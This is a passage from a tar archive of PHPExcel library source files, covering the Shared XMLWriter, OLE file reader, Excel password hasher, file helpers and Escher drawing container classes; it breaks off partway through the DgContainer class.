PHPExcel/Shared/XMLWriter.php 0000644 00000006661 14642534111 0011742 0 ustar 00 <?php if (!defined('DATE_W3C')) { define('DATE_W3C', 'Y-m-d\TH:i:sP'); } if (!defined('DEBUGMODE_ENABLED')) { define('DEBUGMODE_ENABLED', false); } /** * PHPExcel_Shared_XMLWriter * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_XMLWriter extends XMLWriter { /** Temporary storage method */ const STORAGE_MEMORY = 1; const STORAGE_DISK = 2; /** * Temporary filename * * @var string */ private $tempFileName = ''; /** * Create a new PHPExcel_Shared_XMLWriter instance * * @param int $pTemporaryStorage Temporary storage location * @param string $pTemporaryStorageFolder Temporary storage folder */ public function __construct($pTemporaryStorage = self::STORAGE_MEMORY, $pTemporaryStorageFolder = null) { // Open temporary storage if ($pTemporaryStorage == self::STORAGE_MEMORY) { $this->openMemory(); } else { // Create temporary filename if ($pTemporaryStorageFolder === null) { $pTemporaryStorageFolder = PHPExcel_Shared_File::sys_get_temp_dir(); } $this->tempFileName = @tempnam($pTemporaryStorageFolder, 'xml'); // Open storage if ($this->openUri($this->tempFileName) === false) { // Fallback to memory... $this->openMemory(); } } // Set default values if (DEBUGMODE_ENABLED) { $this->setIndent(true); } } /** * Destructor */ public function __destruct() { // Unlink temporary files if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** * Get written data * * @return $data */ public function getData() { if ($this->tempFileName == '') { return $this->outputMemory(true); } else { $this->flush(); return file_get_contents($this->tempFileName); } } /** * Fallback method for writeRaw, introduced in PHP 5.2 * * @param string $text * @return string */ public function writeRawData($text) { if (is_array($text)) { $text = implode("\n", $text); } if (method_exists($this, 'writeRaw')) { return $this->writeRaw(htmlspecialchars($text)); } return $this->text($text); } } PHPExcel/Shared/OLERead.php 0000644 00000025754 14642534111 0011324 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ defined('IDENTIFIER_OLE') || define('IDENTIFIER_OLE', pack('CCCCCCCC', 0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1)); class PHPExcel_Shared_OLERead { private $data = ''; // OLE identifier const IDENTIFIER_OLE = IDENTIFIER_OLE; // Size of a sector = 512 bytes const BIG_BLOCK_SIZE = 0x200; // Size of a short sector = 64 bytes const SMALL_BLOCK_SIZE = 0x40; // Size of a directory entry always = 128 bytes const PROPERTY_STORAGE_BLOCK_SIZE = 0x80; // Minimum size of a standard stream = 4096 bytes, streams smaller than this are stored as short streams const SMALL_BLOCK_THRESHOLD = 0x1000; // header offsets const NUM_BIG_BLOCK_DEPOT_BLOCKS_POS = 0x2c; const ROOT_START_BLOCK_POS = 0x30; const SMALL_BLOCK_DEPOT_BLOCK_POS = 0x3c; const EXTENSION_BLOCK_POS = 0x44; const NUM_EXTENSION_BLOCK_POS = 0x48; const BIG_BLOCK_DEPOT_BLOCKS_POS = 0x4c; // property storage offsets (directory offsets) const SIZE_OF_NAME_POS = 0x40; const TYPE_POS = 0x42; const START_BLOCK_POS = 0x74; const SIZE_POS = 0x78; public $wrkbook = null; public $summaryInformation = null; public $documentSummaryInformation = null; /** * Read the file * * @param $sFileName string Filename * @throws PHPExcel_Reader_Exception */ public function read($sFileName) { // Check if file exists and is readable if (!is_readable($sFileName)) { throw new PHPExcel_Reader_Exception("Could not open " . $sFileName . " for reading! File does not exist, or it is not readable."); } // Get the file identifier // Don't bother reading the whole file until we know it's a valid OLE file $this->data = file_get_contents($sFileName, false, null, 0, 8); // Check OLE identifier if ($this->data != self::IDENTIFIER_OLE) { throw new PHPExcel_Reader_Exception('The filename ' . $sFileName . ' is not recognised as an OLE file'); } // Get the file data $this->data = file_get_contents($sFileName); // Total number of sectors used for the SAT $this->numBigBlockDepotBlocks = self::getInt4d($this->data, self::NUM_BIG_BLOCK_DEPOT_BLOCKS_POS); // SecID of the first sector of the directory stream $this->rootStartBlock = self::getInt4d($this->data, self::ROOT_START_BLOCK_POS); // SecID of the first sector of the SSAT (or -2 if not extant) $this->sbdStartBlock = self::getInt4d($this->data, self::SMALL_BLOCK_DEPOT_BLOCK_POS); // SecID of the first sector of the MSAT (or -2 if no additional sectors are used) $this->extensionBlock = self::getInt4d($this->data, self::EXTENSION_BLOCK_POS); // Total number of sectors used by MSAT $this->numExtensionBlocks = self::getInt4d($this->data, self::NUM_EXTENSION_BLOCK_POS); $bigBlockDepotBlocks = array(); $pos = self::BIG_BLOCK_DEPOT_BLOCKS_POS; $bbdBlocks = $this->numBigBlockDepotBlocks; if ($this->numExtensionBlocks != 0) { $bbdBlocks = (self::BIG_BLOCK_SIZE - self::BIG_BLOCK_DEPOT_BLOCKS_POS)/4; } for ($i = 0; $i < $bbdBlocks; ++$i) { $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos); $pos += 4; } for ($j = 0; $j < $this->numExtensionBlocks; ++$j) { $pos = ($this->extensionBlock + 1) * self::BIG_BLOCK_SIZE; $blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, self::BIG_BLOCK_SIZE / 4 - 1); for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; ++$i) { $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos); $pos += 4; } $bbdBlocks += $blocksToRead; if ($bbdBlocks < $this->numBigBlockDepotBlocks) { $this->extensionBlock = self::getInt4d($this->data, $pos); } } $pos = 0; $this->bigBlockChain = ''; $bbs = self::BIG_BLOCK_SIZE / 4; for ($i = 0; $i < $this->numBigBlockDepotBlocks; ++$i) { $pos = ($bigBlockDepotBlocks[$i] + 1) * self::BIG_BLOCK_SIZE; $this->bigBlockChain .= substr($this->data, $pos, 4*$bbs); $pos += 4*$bbs; } $pos = 0; $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = ''; while ($sbdBlock != -2) { $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE; $this->smallBlockChain .= substr($this->data, $pos, 4*$bbs); $pos += 4*$bbs; $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock*4); } // read the directory stream $block = $this->rootStartBlock; $this->entry = $this->_readData($block); $this->readPropertySets(); } /** * Extract binary stream data * * @return string */ public function getStream($stream) { if ($stream === null) { return null; } $streamData = ''; if ($this->props[$stream]['size'] < self::SMALL_BLOCK_THRESHOLD) { $rootdata = $this->_readData($this->props[$this->rootentry]['startBlock']); $block = $this->props[$stream]['startBlock']; while ($block != -2) { $pos = $block * self::SMALL_BLOCK_SIZE; $streamData .= substr($rootdata, $pos, self::SMALL_BLOCK_SIZE); $block = self::getInt4d($this->smallBlockChain, $block*4); } return $streamData; } else { $numBlocks = $this->props[$stream]['size'] / self::BIG_BLOCK_SIZE; if ($this->props[$stream]['size'] % self::BIG_BLOCK_SIZE != 0) { ++$numBlocks; } if ($numBlocks == 0) { return ''; } $block = $this->props[$stream]['startBlock']; while ($block != -2) { $pos = ($block + 1) * self::BIG_BLOCK_SIZE; $streamData .= substr($this->data, $pos, self::BIG_BLOCK_SIZE); $block = self::getInt4d($this->bigBlockChain, $block*4); } return $streamData; } } /** * Read a standard stream (by joining sectors using information from SAT) * * @param int $bl Sector ID where the stream starts * @return string Data for standard stream */ private function _readData($bl) { $block = $bl; $data = ''; while ($block != -2) { $pos = ($block + 1) * self::BIG_BLOCK_SIZE; $data .= substr($this->data, $pos, self::BIG_BLOCK_SIZE); $block = self::getInt4d($this->bigBlockChain, $block*4); } return $data; } /** * Read entries in the directory stream. */ private function readPropertySets() { $offset = 0; // loop through entires, each entry is 128 bytes $entryLen = strlen($this->entry); while ($offset < $entryLen) { // entry data (128 bytes) $d = substr($this->entry, $offset, self::PROPERTY_STORAGE_BLOCK_SIZE); // size in bytes of name $nameSize = ord($d[self::SIZE_OF_NAME_POS]) | (ord($d[self::SIZE_OF_NAME_POS+1]) << 8); // type of entry $type = ord($d[self::TYPE_POS]); // sectorID of first sector or short sector, if this entry refers to a stream (the case with workbook) // sectorID of first sector of the short-stream container stream, if this entry is root entry $startBlock = self::getInt4d($d, self::START_BLOCK_POS); $size = self::getInt4d($d, self::SIZE_POS); $name = str_replace("\x00", "", substr($d, 0, $nameSize)); $this->props[] = array( 'name' => $name, 'type' => $type, 'startBlock' => $startBlock, 'size' => $size ); // tmp helper to simplify checks $upName = strtoupper($name); // Workbook directory entry (BIFF5 uses Book, BIFF8 uses Workbook) if (($upName === 'WORKBOOK') || ($upName === 'BOOK')) { $this->wrkbook = count($this->props) - 1; } elseif ($upName === 'ROOT ENTRY' || $upName === 'R') { // Root entry $this->rootentry = count($this->props) - 1; } // Summary information if ($name == chr(5) . 'SummaryInformation') { // echo 'Summary Information<br />'; $this->summaryInformation = count($this->props) - 1; } // Additional Document Summary information if ($name == chr(5) . 'DocumentSummaryInformation') { // echo 'Document Summary Information<br />'; $this->documentSummaryInformation = count($this->props) - 1; } $offset += self::PROPERTY_STORAGE_BLOCK_SIZE; } } /** * Read 4 bytes of data at specified position * * @param string $data * @param int $pos * @return int */ private static function getInt4d($data, $pos) { // FIX: represent numbers correctly on 64-bit system // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334 // Hacked by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems $_or_24 = ord($data[$pos + 3]); if ($_or_24 >= 128) { // negative number $_ord_24 = -abs((256 - $_or_24) << 24); } else { $_ord_24 = ($_or_24 & 127) << 24; } return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16) | $_ord_24; } } PHPExcel/Shared/PasswordHasher.php 0000644 00000004610 14642534111 0013032 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Shared_PasswordHasher * * @category PHPExcel * @package PHPExcel_Shared * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Shared_PasswordHasher { /** * Create a password hash from a given string. * * This method is based on the algorithm provided by * Daniel Rentz of OpenOffice and the PEAR package * Spreadsheet_Excel_Writer by Xavier Noguer <xnoguer@rezebra.com>. * * @param string $pPassword Password to hash * @return string Hashed password */ public static function hashPassword($pPassword = '') { $password = 0x0000; $charPos = 1; // char position // split the plain text password in its component characters $chars = preg_split('//', $pPassword, -1, PREG_SPLIT_NO_EMPTY); foreach ($chars as $char) { $value = ord($char) << $charPos++; // shifted ASCII value $rotated_bits = $value >> 15; // rotated bits beyond bit 15 $value &= 0x7fff; // first 15 bits $password ^= ($value | $rotated_bits); } $password ^= strlen($pPassword); $password ^= 0xCE4B; return(strtoupper(dechex($password))); } } PHPExcel/Shared/Escher.php 0000644 00000004254 14642534111 0011312 0 ustar 00 <?php /** * PHPExcel_Shared_Escher * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher { /** * Drawing Group Container * * @var PHPExcel_Shared_Escher_DggContainer */ private $dggContainer; /** * Drawing Container * * @var PHPExcel_Shared_Escher_DgContainer */ private $dgContainer; /** * Get Drawing Group Container * * @return PHPExcel_Shared_Escher_DgContainer */ public function getDggContainer() { return $this->dggContainer; } /** * Set Drawing Group Container * * @param PHPExcel_Shared_Escher_DggContainer $dggContainer */ public function setDggContainer($dggContainer) { return $this->dggContainer = $dggContainer; } /** * Get Drawing Container * * @return PHPExcel_Shared_Escher_DgContainer */ public function getDgContainer() { return $this->dgContainer; } /** * Set Drawing Container * * @param PHPExcel_Shared_Escher_DgContainer $dgContainer */ public function setDgContainer($dgContainer) { return $this->dgContainer = $dgContainer; } } PHPExcel/Shared/File.php 0000644 00000013574 14642534111 0010765 0 ustar 00 <?php /** * PHPExcel_Shared_File * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_File { /* * Use Temp or File Upload Temp for temporary files * * @protected * @var boolean */ protected static $useUploadTempDirectory = false; /** * Set the flag indicating whether the File Upload Temp directory should be used for temporary files * * @param boolean $useUploadTempDir Use File Upload Temporary directory (true or false) */ public static function setUseUploadTempDirectory($useUploadTempDir = false) { self::$useUploadTempDirectory = (boolean) $useUploadTempDir; } /** * Get the flag indicating whether the File Upload Temp directory should be used for temporary files * * @return boolean Use File Upload Temporary directory (true or false) */ public static function getUseUploadTempDirectory() { return self::$useUploadTempDirectory; } /** * Verify if a file exists * * @param string $pFilename Filename * @return bool */ public static function file_exists($pFilename) { // Sick construction, but it seems that // file_exists returns strange values when // doing the original file_exists on ZIP archives... if (strtolower(substr($pFilename, 0, 3)) == 'zip') { // Open ZIP file and verify if the file exists $zipFile = substr($pFilename, 6, strpos($pFilename, '#') - 6); $archiveFile = substr($pFilename, strpos($pFilename, '#') + 1); $zip = new ZipArchive(); if ($zip->open($zipFile) === true) { $returnValue = ($zip->getFromName($archiveFile) !== false); $zip->close(); return $returnValue; } else { return false; } } else { // Regular file_exists return file_exists($pFilename); } } /** * Returns canonicalized absolute pathname, also for ZIP archives * * @param string $pFilename * @return string */ public static function realpath($pFilename) { // Returnvalue $returnValue = ''; // Try using realpath() if (file_exists($pFilename)) { $returnValue = realpath($pFilename); } // Found something? if ($returnValue == '' || ($returnValue === null)) { $pathArray = explode('/', $pFilename); while (in_array('..', $pathArray) && $pathArray[0] != '..') { for ($i = 0; $i < count($pathArray); ++$i) { if ($pathArray[$i] == '..' && $i > 0) { unset($pathArray[$i]); unset($pathArray[$i - 1]); break; } } } $returnValue = implode('/', $pathArray); } // Return return $returnValue; } /** * Get the systems temporary directory. * * @return string */ public static function sys_get_temp_dir() { if (self::$useUploadTempDirectory) { // use upload-directory when defined to allow running on environments having very restricted // open_basedir configs if (ini_get('upload_tmp_dir') !== false) { if ($temp = ini_get('upload_tmp_dir')) { if (file_exists($temp)) { return realpath($temp); } } } } // sys_get_temp_dir is only available since PHP 5.2.1 // http://php.net/manual/en/function.sys-get-temp-dir.php#94119 if (!function_exists('sys_get_temp_dir')) { if ($temp = getenv('TMP')) { if ((!empty($temp)) && (file_exists($temp))) { return realpath($temp); } } if ($temp = getenv('TEMP')) { if ((!empty($temp)) && (file_exists($temp))) { return realpath($temp); } } if ($temp = getenv('TMPDIR')) { if ((!empty($temp)) && (file_exists($temp))) { return realpath($temp); } } // trick for creating a file in system's temporary dir // without knowing the path of the system's temporary dir $temp = tempnam(__FILE__, ''); if (file_exists($temp)) { unlink($temp); return realpath(dirname($temp)); } return null; } // use ordinary built-in PHP function // There should be no problem with the 5.2.4 Suhosin realpath() bug, because this line should only // be called if we're running 5.2.1 or earlier return realpath(sys_get_temp_dir()); } } PHPExcel/Shared/Escher/DggContainer.php 0000644 00000010522 14642534111 0013651 0 ustar 00 <?php /** * PHPExcel_Shared_Escher_DggContainer * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher_DggContainer { /** * Maximum shape index of all shapes in all drawings increased by one * * @var int */ private $spIdMax; /** * Total number of drawings saved * * @var int */ private $cDgSaved; /** * Total number of shapes saved (including group shapes) * * @var int */ private $cSpSaved; /** * BLIP Store Container * * @var PHPExcel_Shared_Escher_DggContainer_BstoreContainer */ private $bstoreContainer; /** * Array of options for the drawing group * * @var array */ private $OPT = array(); /** * Array of identifier clusters containg information about the maximum shape identifiers * * @var array */ private $IDCLs = array(); /** * Get maximum shape index of all shapes in all drawings (plus one) * * @return int */ public function getSpIdMax() { return $this->spIdMax; } /** * Set maximum shape index of all shapes in all drawings (plus one) * * @param int */ public function setSpIdMax($value) { $this->spIdMax = $value; } /** * Get total number of drawings saved * * @return int */ public function getCDgSaved() { return $this->cDgSaved; } /** * Set total number of drawings saved * * @param int */ public function setCDgSaved($value) { $this->cDgSaved = $value; } /** * Get total number of shapes saved (including group shapes) * * @return int */ public function getCSpSaved() { return $this->cSpSaved; } /** * Set total number of shapes saved (including group shapes) * * @param int */ public function setCSpSaved($value) { $this->cSpSaved = $value; } /** * Get BLIP Store Container * * @return PHPExcel_Shared_Escher_DggContainer_BstoreContainer */ public function getBstoreContainer() { return $this->bstoreContainer; } /** * Set BLIP Store Container * * @param PHPExcel_Shared_Escher_DggContainer_BstoreContainer $bstoreContainer */ public function setBstoreContainer($bstoreContainer) { $this->bstoreContainer = $bstoreContainer; } /** * Set an option for the drawing group * * @param int $property The number specifies the option * @param mixed $value */ public function setOPT($property, $value) { $this->OPT[$property] = $value; } /** * Get an option for the drawing group * * @param int $property The number specifies the option * @return mixed */ public function getOPT($property) { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get identifier clusters * * @return array */ public function getIDCLs() { return $this->IDCLs; } /** * Set identifier clusters. array(<drawingId> => <max shape id>, ...) * * @param array $pValue */ public function setIDCLs($pValue) { $this->IDCLs = $pValue; } } PHPExcel/Shared/Escher/DgContainer/SpgrContainer/SpContainer.php 0000644 00000020541 14642534111 0020507 0 ustar 00 <?php /** * PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer { /** * Parent Shape Group Container * * @var PHPExcel_Shared_Escher_DgContainer_SpgrContainer */ private $parent; /** * Is this a group shape? * * @var boolean */ private $spgr = false; /** * Shape type * * @var int */ private $spType; /** * Shape flag * * @var int */ private $spFlag; /** * Shape index (usually group shape has index 0, and the rest: 1,2,3...) * * @var boolean */ private $spId; /** * Array of options * * @var array */ private $OPT; /** * Cell coordinates of upper-left corner of shape, e.g. 'A1' * * @var string */ private $startCoordinates; /** * Horizontal offset of upper-left corner of shape measured in 1/1024 of column width * * @var int */ private $startOffsetX; /** * Vertical offset of upper-left corner of shape measured in 1/256 of row height * * @var int */ private $startOffsetY; /** * Cell coordinates of bottom-right corner of shape, e.g. 'B2' * * @var string */ private $endCoordinates; /** * Horizontal offset of bottom-right corner of shape measured in 1/1024 of column width * * @var int */ private $endOffsetX; /** * Vertical offset of bottom-right corner of shape measured in 1/256 of row height * * @var int */ private $endOffsetY; /** * Set parent Shape Group Container * * @param PHPExcel_Shared_Escher_DgContainer_SpgrContainer $parent */ public function setParent($parent) { $this->parent = $parent; } /** * Get the parent Shape Group Container * * @return PHPExcel_Shared_Escher_DgContainer_SpgrContainer */ public function getParent() { return $this->parent; } /** * Set whether this is a group shape * * @param boolean $value */ public function setSpgr($value = false) { $this->spgr = $value; } /** * Get whether this is a group shape * * @return boolean */ public function getSpgr() { return $this->spgr; } /** * Set the shape type * * @param int $value */ public function setSpType($value) { $this->spType = $value; } /** * Get the shape type * * @return int */ public function getSpType() { return $this->spType; } /** * Set the shape flag * * @param int $value */ public function setSpFlag($value) { $this->spFlag = $value; } /** * Get the shape flag * * @return int */ public function getSpFlag() { return $this->spFlag; } /** * Set the shape index * * @param int $value */ public function setSpId($value) { $this->spId = $value; } /** * Get the shape index * * @return int */ public function getSpId() { return $this->spId; } /** * Set an option for the Shape Group Container * * @param int $property The number specifies the option * @param mixed $value */ public function setOPT($property, $value) { $this->OPT[$property] = $value; } /** * Get an option for the Shape Group Container * * @param int $property The number specifies the option * @return mixed */ public function getOPT($property) { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get the collection of options * * @return array */ public function getOPTCollection() { return $this->OPT; } /** * Set cell coordinates of upper-left corner of shape * * @param string $value */ public function setStartCoordinates($value = 'A1') { $this->startCoordinates = $value; } /** * Get cell coordinates of upper-left corner of shape * * @return string */ public function getStartCoordinates() { return $this->startCoordinates; } /** * Set offset in x-direction of upper-left corner of shape measured in 1/1024 of column width * * @param int $startOffsetX */ public function setStartOffsetX($startOffsetX = 0) { $this->startOffsetX = $startOffsetX; } /** * Get offset in x-direction of upper-left corner of shape measured in 1/1024 of column width * * @return int */ public function getStartOffsetX() { return $this->startOffsetX; } /** * Set offset in y-direction of upper-left corner of shape measured in 1/256 of row height * * @param int $startOffsetY */ public function setStartOffsetY($startOffsetY = 0) { $this->startOffsetY = $startOffsetY; } /** * Get offset in y-direction of upper-left corner of shape measured in 1/256 of row height * * @return int */ public function getStartOffsetY() { return $this->startOffsetY; } /** * Set cell coordinates of bottom-right corner of shape * * @param string $value */ public function setEndCoordinates($value = 'A1') { $this->endCoordinates = $value; } /** * Get cell coordinates of bottom-right corner of shape * * @return string */ public function getEndCoordinates() { return $this->endCoordinates; } /** * Set offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width * * @param int $startOffsetX */ public function setEndOffsetX($endOffsetX = 0) { $this->endOffsetX = $endOffsetX; } /** * Get offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width * * @return int */ public function getEndOffsetX() { return $this->endOffsetX; } /** * Set offset in y-direction of bottom-right corner of shape measured in 1/256 of row height * * @param int $endOffsetY */ public function setEndOffsetY($endOffsetY = 0) { $this->endOffsetY = $endOffsetY; } /** * Get offset in y-direction of bottom-right corner of shape measured in 1/256 of row height * * @return int */ public function getEndOffsetY() { return $this->endOffsetY; } /** * Get the nesting level of this spContainer. This is the number of spgrContainers between this spContainer and * the dgContainer. A value of 1 = immediately within first spgrContainer * Higher nesting level occurs if and only if spContainer is part of a shape group * * @return int Nesting level */ public function getNestingLevel() { $nestingLevel = 0; $parent = $this->getParent(); while ($parent instanceof PHPExcel_Shared_Escher_DgContainer_SpgrContainer) { ++$nestingLevel; $parent = $parent->getParent(); } return $nestingLevel; } } PHPExcel/Shared/Escher/DgContainer/SpgrContainer.php 0000644 00000005440 14642534111 0016263 0 ustar 00 <?php /** * PHPExcel_Shared_Escher_DgContainer_SpgrContainer * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher_DgContainer_SpgrContainer { /** * Parent Shape Group Container * * @var PHPExcel_Shared_Escher_DgContainer_SpgrContainer */ private $parent; /** * Shape Container collection * * @var array */ private $children = array(); /** * Set parent Shape Group Container * * @param PHPExcel_Shared_Escher_DgContainer_SpgrContainer $parent */ public function setParent($parent) { $this->parent = $parent; } /** * Get the parent Shape Group Container if any * * @return PHPExcel_Shared_Escher_DgContainer_SpgrContainer|null */ public function getParent() { return $this->parent; } /** * Add a child. This will be either spgrContainer or spContainer * * @param mixed $child */ public function addChild($child) { $this->children[] = $child; $child->setParent($this); } /** * Get collection of Shape Containers */ public function getChildren() { return $this->children; } /** * Recursively get all spContainers within this spgrContainer * * @return PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer[] */ public function getAllSpContainers() { $allSpContainers = array(); foreach ($this->children as $child) { if ($child instanceof PHPExcel_Shared_Escher_DgContainer_SpgrContainer) { $allSpContainers = array_merge($allSpContainers, $child->getAllSpContainers()); } else { $allSpContainers[] = $child; } } return $allSpContainers; } } PHPExcel/Shared/Escher/DgContainer.php 0000644 00000003554 14642534111 0013511 0 ustar 00 <?php /** * PHPExcel_Shared_Escher_DgContainer * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Shared_Escher * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Shared_Escher_DgContainer { /** * Drawing index, 1-based. * * @var int */ private $dgId; /** * Last shape index in this drawing * * @var int */ private $lastSpId; private $spgrContainer 